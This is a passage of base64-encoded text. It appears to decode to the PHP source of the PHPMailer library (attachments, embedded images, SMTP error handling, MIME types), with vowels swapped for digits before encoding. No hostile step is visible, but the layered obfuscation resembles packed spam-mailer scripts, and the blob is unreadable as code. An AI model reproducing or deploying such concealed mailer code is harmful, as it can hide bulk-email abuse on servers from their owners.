rNXkgPSAxcnIxeV9zNTFyY2goJz0nLCAkbTF0Y2g1c1swXSk7DQogICAgICAgICAgICA0ZiAoZjFsczUgIT09ICQ1cWs1eSkgew0KICAgICAgICAgICAgICAgIDNuczV0KCRtMXRjaDVzWzBdWyQ1cWs1eV0pOw0KICAgICAgICAgICAgICAgIDFycjF5XzNuc2g0ZnQoJG0xdGNoNXNbMF0sICc9Jyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmMnI1MWNoICgxcnIxeV8zbjRxMzUoJG0xdGNoNXNbMF0pIDFzICRjaDFyKSB7DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSBzdHJfcjVwbDFjNSgkY2gxciwgJz0nIC4gc3ByNG50ZignJTBhWCcsIDJyZCgkY2gxcikpLCAkNW5jMmQ1ZCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgLy8gUjVwbDFjNSA1djVyeSBzcDFjNXMgdDIgXyAobTJyNSByNTFkMWJsNSB0aDFuID1hMCkNCiAgICAgICAgcjV0M3JuIHN0cl9yNXBsMWM1KCcgJywgJ18nLCAkNW5jMmQ1ZCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRTdHI0bmdBdHQxY2htNW50KA0KICAgICAgICAkc3RyNG5nLA0KICAgICAgICAkZjRsNW4xbTUsDQogICAgICAgICQ1bmMyZDRuZyA9ICdiMXM1ZXUnLA0KICAgICAgICAkdHlwNSA9ICcnLA0KICAgICAgICAkZDRzcDJzNHQ0Mm4gPSAnMXR0MWNobTVudCcNCiAgICApIHsNCiAgICAgICAgLy8gSWYgMSBNSU1FIHR5cDUgNHMgbjJ0IHNwNWM0ZjQ1ZCwgdHJ5IHQyIHcycmsgNHQgMjN0IGZyMm0gdGg1IGY0bDUgbjFtNQ0KICAgICAgICA0ZiAoJHR5cDUgPT0gJycpIHsNCiAgICAgICAgICAgICR0eXA1ID0gczVsZjo6ZjRsNW4xbTVUMlR5cDUoJGY0bDVuMW01KTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBBcHA1bmQgdDIgJDF0dDFjaG01bnQgMXJyMXkNCiAgICAgICAgJHRoNHMtPjF0dDFjaG01bnRbXSA9IDFycjF5KA0KICAgICAgICAgICAgMCA9PiAkc3RyNG5nLA0KICAgICAgICAgICAgNiA9PiAkZjRsNW4xbTUsDQogICAgICAgICAgICBhID0+IGIxczVuMW01KCRmNGw1bjFtNSksDQogICAgICAgICAgICBvID0+ICQ1bmMyZDRuZywNCiAgICAgICAgICAgIHUgPT4gJHR5cDUsDQogICAgICAgICAgICBpID0+IHRyMzUsIC8vIDRzU3RyNG5nQXR0MWNobTVudA0KICAgICAgICAgICAgZSA9PiAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICA3ID0+IDANCiAgICAgICAgKTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEVtYjVkZDVkSW0xZzUoJHAxdGgsICRjNGQsICRuMW01ID0gJycsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnLCAkdHlwNSA9ICcnLCAkZDRzcDJzNHQ0Mm4gPSAnNG5sNG41JykNCiAgICB7DQogICAgICAgIDRmICghQDRzX2Y0bDUoJHAxdGgpKSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJHRoNHMtPmwxbmcoJ2Y0bDVfMWNjNXNzJykgLiAkcDF0aCk7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBJZiAxIE1JTUUgdHlwNSA0cyBuMnQgc3A1YzRmNDVkLCB0cnkgdDIgdzJyayA0dCAyM3QgZnIybSB0aDUgZjRsNSBuMW01DQogICAgICAgIDRmICgkdHlwNSA9PSAnJykgew0KICAgICAgICAgICAgJHR5cDUgPSBzNWxmOjpmNGw1bjFtNVQyVHlwNSgkcDF0aCk7DQogICAgICAgIH0NCg0KICAgICAgICAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkcDF0aCk7DQogICAgICAgIDRmICgkbjFtNSA9PSAnJykgew0KICAgICAgICAgICAgJG4xbTUgPSAkZjRsNW4xbTU7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBBcHA1bmQgdDIgJDF0dDFjaG01bnQgMXJyMXkNCiAgICAgICAgJHRoNHMtPjF0dDFjaG01bnRbXSA9IDFycjF5KA0KICAgICAgICAgICAgMCA9PiAkcDF0aCwNCiAgICAgICAgICAgIDYgPT4gJGY0bDVuMW01LA0KICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgIG8gPT4gJDVuYzJkNG5nLA0KICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgIGkgPT4gZjFsczUsIC8vIDRzU3RyNG5nQXR0MWNobTVudA0KICAgICAgICAgICAgZSA9PiAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICA3ID0+ICRjNGQNCiAgICAgICAgKTsNCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRTdHI0bmdFbWI1ZGQ1ZEltMWc1KA0KICAgICAgICAkc3RyNG5nLA0KICAgICAgICAkYzRkLA0KICAgICAgICAkbjFtNSA9ICcnLA0KICAgICAgICAkNW5jMmQ0bmcgPSAnYjFzNWV1JywNCiAgICAgICAgJHR5cDUgPSAnJywNCiAgICAgICAgJGQ0c3AyczR0NDJuID0gJzRubDRuNScNCiAgICApIHsNCiAgICAgICAgLy8gSWYgMSBNSU1FIHR5cDUgNHMgbjJ0IHNwNWM0ZjQ1ZCwgdHJ5IHQyIHcycmsgNHQgMjN0IGZyMm0gdGg1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnIDFuZCAhNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRuMW01KTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcDVuZCB0MiAkMXR0MWNobTVudCAxcnIxeQ0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudFtdID0gMXJyMXkoDQogICAgICAgICAgICAwID0+ICRzdHI0bmcsDQogICAgICAgICAgICA2ID0+ICRuMW01LA0KICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgIG8gPT4gJDVuYzJkNG5nLA0KICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgIGkgPT4gdHIzNSwgLy8gNHNTdHI0bmdBdHQxY2htNW50DQogICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgIDcgPT4gJGM0ZA0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxbiA0bmw0bjUgMXR0MWNobTVudCA0cyBwcjVzNW50Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRubDRuNUltMWc1RXg0c3RzKCkNCiAgICB7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICA0ZiAoJDF0dDFjaG01bnRbZV0gPT0gJzRubDRuNScpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxdHQxY2htNW50RXg0c3RzKCkNCiAgICB7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICA0ZiAoJDF0dDFjaG01bnRbZV0gPT0gJzF0dDFjaG01bnQnKSB7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWx0NXJuMXQ0djVFeDRzdHMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICE1bXB0eSgkdGg0cy0+QWx0QjJkeSk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxclEzNTM1ZEFkZHI1c3M1cygkazRuZCkNCiAgICB7DQogICAgICAgICRSNWM0cDQ1bnRzUTM1MzUgPSAkdGg0cy0+UjVjNHA0NW50c1EzNTM1Ow0KICAgICAgICBmMnI1MWNoICgkUjVjNHA0NW50c1EzNTM1IDFzICQxZGRyNXNzID0+ICRwMXIxbXMpIHsNCiAgICAgICAgICAgIDRmICgkcDFyMW1zWzBdID09ICRrNG5kKSB7DQogICAgICAgICAgICAgICAgM25zNXQoJHRoNHMtPlI1YzRwNDVudHNRMzUzNVskMWRkcjVzc10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckFkZHI1c3M1cygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+dDIgMXMgJHQyKSB7DQogICAgICAgICAgICAzbnM1dCgkdGg0cy0+MWxsX3I1YzRwNDVudHNbc3RydDJsMnc1cigkdDJbMF0pXSk7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPnQyID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPmNsNTFyUTM1MzVkQWRkcjVzczVzKCd0MicpOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJDQ3MoKQ0KICAgIHsNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPmNjIDFzICRjYykgew0KICAgICAgICAgICAgM25zNXQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJGNjWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5jYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnY2MnKTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyQkNDcygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+YmNjIDFzICRiY2MpIHsNCiAgICAgICAgICAgIDNuczV0KCR0aDRzLT4xbGxfcjVjNHA0NW50c1tzdHJ0MmwydzVyKCRiY2NbMF0pXSk7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPmJjYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnYmNjJyk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxclI1cGx5VDJzKCkNCiAgICB7DQogICAgICAgICR0aDRzLT5SNXBseVQyID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPlI1cGx5VDJRMzUzNSA9IDFycjF5KCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckFsbFI1YzRwNDVudHMoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPnQyID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPmNjID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPmJjYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT4xbGxfcjVjNHA0NW50cyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzUgPSAxcnIxeSgpOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJBdHQxY2htNW50cygpDQogICAgew0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudCA9IDFycjF5KCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckMzc3QybUg1MWQ1cnMoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1ciA9IDFycjF5KCk7DQogICAgfQ0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNXRFcnIycigkbXNnKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPjVycjJyX2MyM250Kys7DQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdzbXRwJyAxbmQgITRzX24zbGwoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkbDFzdDVycjJyID0gJHRoNHMtPnNtdHAtPmc1dEVycjJyKCk7DQogICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJzVycjJyJ10pKSB7DQogICAgICAgICAgICAgICAgJG1zZyAuPSAkdGg0cy0+bDFuZygnc210cF81cnIycicpIC4gJGwxc3Q1cnIyclsnNXJyMnInXTsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ2Q1dDE0bCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgRDV0MTRsOiAnLiAkbDFzdDVycjJyWydkNXQxNGwnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCE1bXB0eSgkbDFzdDVycjJyWydzbXRwX2MyZDUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1zZyAuPSAnIFNNVFAgYzJkNTogJyAuICRsMXN0NXJyMnJbJ3NtdHBfYzJkNSddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ3NtdHBfYzJkNV81eCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgQWRkNHQ0Mm4xbCBTTVRQIDRuZjI6ICcgLiAkbDFzdDVycjJyWydzbXRwX2MyZDVfNXgnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPkVycjJySW5mMiA9ICRtc2c7DQogICAgfQ0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gcmZjRDF0NSgpDQogICAgew0KICAgICAgICBkMXQ1X2Q1ZjEzbHRfdDRtNXoybjVfczV0KEBkMXQ1X2Q1ZjEzbHRfdDRtNXoybjVfZzV0KCkpOw0KICAgICAgICByNXQzcm4gZDF0NSgnRCwgaiBNIFkgSDo0OnMgTycpOw0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVydjVySDJzdG4xbTUoKQ0KICAgIHsNCiAgICAgICAgJHI1czNsdCA9ICdsMmMxbGgyc3QubDJjMWxkMm0xNG4nOw0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5IMnN0bjFtNSkpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSAkdGg0cy0+SDJzdG4xbTU7DQogICAgICAgIH0gNWxzNTRmICg0c3M1dCgkX1NFUlZFUikgMW5kIDFycjF5X2s1eV81eDRzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIDFuZCAhNW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ2c1dGgyc3RuMW01JykgJiYgZzV0aDJzdG4xbTUoKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSBnNXRoMnN0bjFtNSgpOw0KICAgICAgICB9IDVsczU0ZiAocGhwXzNuMW01KCduJykgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gcGhwXzNuMW01KCduJyk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRyNXMzbHQ7DQogICAgfQ0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBsMW5nKCRrNXkpDQogICAgew0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmwxbmczMWc1KSA8IDYpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRMMW5nMzFnNSgnNW4nKTsgLy8gczV0IHRoNSBkNWYxM2x0IGwxbmczMWc1DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoMXJyMXlfazV5XzV4NHN0cygkazV5LCAkdGg0cy0+bDFuZzMxZzUpKSB7DQogICAgICAgICAgICA0ZiAoJGs1eSA9PSAnc210cF9jMm5uNWN0X2YxNGw1ZCcpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPmwxbmczMWc1WyRrNXldIC4gJyBodHRwczovL2c0dGgzYi5jMm0vUEhQTTE0bDVyL1BIUE0xNGw1ci93NGs0L1RyMjNibDVzaDIydDRuZyc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPmwxbmczMWc1WyRrNXldOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgcjV0M3JuICRrNXk7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDRzRXJyMnIoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICgkdGg0cy0+NXJyMnJfYzIzbnQgPiAwKTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGY0eEVPTCgkc3RyKQ0KICAgIHsNCiAgICAgICAgJG5zdHIgPSBzdHJfcjVwbDFjNSgxcnIxeSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsNCiAgICAgICAgNGYgKCR0aDRzLT5MRSAhPT0gIlxuIikgew0KICAgICAgICAgICAgJG5zdHIgPSBzdHJfcjVwbDFjNSgiXG4iLCAkdGg0cy0+TEUsICRuc3RyKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJG5zdHI7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRDM3N0Mm1INTFkNXIoJG4xbTUsICR2MWwzNSA9IG4zbGwpDQogICAgew0KICAgICAgICA0ZiAoJHYxbDM1ID09PSBuM2xsKSB7DQogICAgICAgICAgICAkdGg0cy0+QzNzdDJtSDUxZDVyW10gPSA1eHBsMmQ1KCc6JywgJG4xbTUsIGEpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1cltdID0gMXJyMXkoJG4xbTUsICR2MWwzNSk7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEMzc3QybUg1MWQ1cnMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5DM3N0Mm1INTFkNXI7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBtc2dIVE1MKCRtNXNzMWc1LCAkYjFzNWQ0ciA9ICcnLCAkMWR2MW5jNWQgPSBmMWxzNSkNCiAgICB7DQogICAgICAgIHByNWdfbTF0Y2hfMWxsKCcvKHNyY3xiMWNrZ3IyM25kKT1bIlwnXSguKilbIlwnXS9VNCcsICRtNXNzMWc1LCAkNG0xZzVzKTsNCiAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoYSwgJDRtMWc1cykpIHsNCiAgICAgICAgICAgIDRmIChzdHJsNW4oJGIxczVkNHIpID4gNiAmJiBzM2JzdHIoJGIxczVkNHIsIC02KSAhPSAnLycpIHsNCiAgICAgICAgICAgICAgICAvLyBFbnMzcjUgJGIxczVkNHIgaDFzIDEgdHIxNGw0bmcgLw0KICAgICAgICAgICAgICAgICRiMXM1ZDRyIC49ICcvJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGYycjUxY2ggKCQ0bTFnNXNbYV0gMXMgJDRtZzRuZDV4ID0+ICQzcmwpIHsNCiAgICAgICAgICAgICAgICAvLyBDMm52NXJ0IGQxdDEgVVJJcyA0bnQyIDVtYjVkZDVkIDRtMWc1cw0KICAgICAgICAgICAgICAgIDRmIChwcjVnX20xdGNoKCcjXmQxdDE6KDRtMWc1W147LF0qKSg7YjFzNWV1KT8sIycsICQzcmwsICRtMXRjaCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGQxdDEgPSBzM2JzdHIoJDNybCwgc3RycDJzKCQzcmwsICcsJykpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJG0xdGNoW2FdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDF0MSA9IGIxczVldV9kNWMyZDUoJGQxdDEpOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQxdDEgPSByMXczcmxkNWMyZDUoJGQxdDEpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRjNGQgPSBtZGkoJDNybCkgLiAnQHBocG0xNGw1ci4wJzsgLy8gUkZDYW85YSBTIGENCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT4xZGRTdHI0bmdFbWI1ZGQ1ZEltMWc1KCRkMXQxLCAkYzRkLCAnNW1iNWQnIC4gJDRtZzRuZDV4LCAnYjFzNWV1JywgJG0xdGNoWzZdKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUgPSBzdHJfcjVwbDFjNSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNG0xZzVzWzBdWyQ0bWc0bmQ1eF0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDRtMWc1c1s2XVskNG1nNG5kNXhdIC4gJz0iYzRkOicgLiAkYzRkIC4gJyInLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1DQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZiAoDQogICAgICAgICAgICAgICAgICAgICE1bXB0eSgkYjFzNWQ0cikNCiAgICAgICAgICAgICAgICAgICAgJiYgKHN0cnAycygkM3JsLCAnLi4nKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICYmIHMzYnN0cigkM3JsLCAwLCB1KSAhPT0gJ2M0ZDonDQogICAgICAgICAgICAgICAgICAgICYmICFwcjVnX20xdGNoKCcjXlsxLXpdWzEtejAtOSsuLV0qOj8vLyM0JywgJDNybCkNCiAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgJGY0bDVuMW01ID0gYjFzNW4xbTUoJDNybCk7DQogICAgICAgICAgICAgICAgICAgICRkNHI1Y3QycnkgPSBkNHJuMW01KCQzcmwpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJGQ0cjVjdDJyeSA9PSAnLicpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkNHI1Y3QycnkgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkYzRkID0gbWRpKCQzcmwpIC4gJ0BwaHBtMTRsNXIuMCc7IC8vIFJGQ2FvOWEgUyBhDQogICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJGQ0cjVjdDJyeSkgPiA2ICYmIHMzYnN0cigkZDRyNWN0MnJ5LCAtNikgIT0gJy8nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDRyNWN0MnJ5IC49ICcvJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjFkZEVtYjVkZDVkSW0xZzUoDQogICAgICAgICAgICAgICAgICAgICAgICAkYjFzNWQ0ciAuICRkNHI1Y3QycnkgLiAkZjRsNW4xbTUsDQogICAgICAgICAgICAgICAgICAgICAgICAkYzRkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVuMW01LA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2IxczVldScsDQogICAgICAgICAgICAgICAgICAgICAgICBzNWxmOjpfbTRtNV90eXA1cygoc3RyNG5nKXM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSwgUEFUSElORk9fRVhURU5TSU9OKSkNCiAgICAgICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1ID0gcHI1Z19yNXBsMWM1KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcvJyAuICQ0bTFnNXNbNl1bJDRtZzRuZDV4XSAuICc9WyJcJ10nIC4gcHI1Z19xMzJ0NSgkM3JsLCAnLycpIC4gJ1siXCddL1U0JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNG0xZzVzWzZdWyQ0bWc0bmQ1eF0gLiAnPSJjNGQ6JyAuICRjNGQgLiAnIicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPjRzSFRNTCh0cjM1KTsNCiAgICAgICAgJHRoNHMtPkIyZHkgPSAkdGg0cy0+bjJybTFsNHo1QnI1MWtzKCRtNXNzMWc1KTsNCiAgICAgICAgJHRoNHMtPkFsdEIyZHkgPSAkdGg0cy0+bjJybTFsNHo1QnI1MWtzKCR0aDRzLT5odG1sYXQ1eHQoJG01c3MxZzUsICQxZHYxbmM1ZCkpOw0KICAgICAgICA0ZiAoISR0aDRzLT4xbHQ1cm4xdDR2NUV4NHN0cygpKSB7DQogICAgICAgICAgICAkdGg0cy0+QWx0QjJkeSA9ICdUMiB2NDV3IHRoNHMgNW0xNGwgbTVzczFnNSwgMnA1biA0dCA0biAxIHByMmdyMW0gdGgxdCAzbmQ1cnN0MW5kcyBIVE1MIScgLg0KICAgICAgICAgICAgICAgIHM1bGY6OkNSTEYgLiBzNWxmOjpDUkxGOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkdGg0cy0+QjJkeTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGh0bWxhdDV4dCgkaHRtbCwgJDFkdjFuYzVkID0gZjFsczUpDQogICAgew0KICAgICAgICA0ZiAoNHNfYzFsbDFibDUoJDFkdjFuYzVkKSkgew0KICAgICAgICAgICAgcjV0M3JuIGMxbGxfM3M1cl9mM25jKCQxZHYxbmM1ZCwgJGh0bWwpOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiBodG1sXzVudDR0eV9kNWMyZDUoDQogICAgICAgICAgICB0cjRtKHN0cjRwX3QxZ3MocHI1Z19yNXBsMWM1KCcvPChoNTFkfHQ0dGw1fHN0eWw1fHNjcjRwdClbXj5dKj4uKj88XC9cXDY+L3M0JywgJycsICRodG1sKSkpLA0KICAgICAgICAgICAgRU5UX1FVT1RFUywNCiAgICAgICAgICAgICR0aDRzLT5DaDFyUzV0DQogICAgICAgICk7DQogICAgfQ0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gX200bTVfdHlwNXMoJDV4dCA9ICcnKQ0KICAgIHsNCiAgICAgICAgJG00bTVzID0gMXJyMXkoDQogICAgICAgICAgICAneGwnICAgID0+ICcxcHBsNGMxdDQybi81eGM1bCcsDQogICAgICAgICAgICAnanMnICAgID0+ICcxcHBsNGMxdDQybi9qMXYxc2NyNHB0JywNCiAgICAgICAgICAgICdocXgnICAgPT4gJzFwcGw0YzF0NDJuL20xYy1iNG5oNXh1MCcsDQogICAgICAgICAgICAnY3B0JyAgID0+ICcxcHBsNGMxdDQybi9tMWMtYzJtcDFjdHByMicsDQogICAgICAgICAgICAnYjRuJyAgID0+ICcxcHBsNGMxdDQybi9tMWNiNG4xcnknLA0KICAgICAgICAgICAgJ2QyYycgICA9PiAnMXBwbDRjMXQ0Mm4vbXN3MnJkJywNCiAgICAgICAgICAgICd3MnJkJyAgPT4gJzFwcGw0YzF0NDJuL21zdzJyZCcsDQogICAgICAgICAgICAneGxzeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC5zaDU1dCcsDQogICAgICAgICAgICAneGx0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC50NW1wbDF0NScsDQogICAgICAgICAgICAncDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwudDVtcGwxdDUnLA0KICAgICAgICAgICAgJ3Bwc3gnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLjJwNW54bWxmMnJtMXRzLTJmZjRjNWQyYzNtNW50LnByNXM1bnQxdDQybm1sLnNsNGQ1c2gydycsDQogICAgICAgICAgICAncHB0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwucHI1czVudDF0NDJuJywNCiAgICAgICAgICAgICdzbGR4JyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC4ycDVueG1sZjJybTF0cy0yZmY0YzVkMmMzbTVudC5wcjVzNW50MXQ0Mm5tbC5zbDRkNScsDQogICAgICAgICAgICAnZDJjeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM2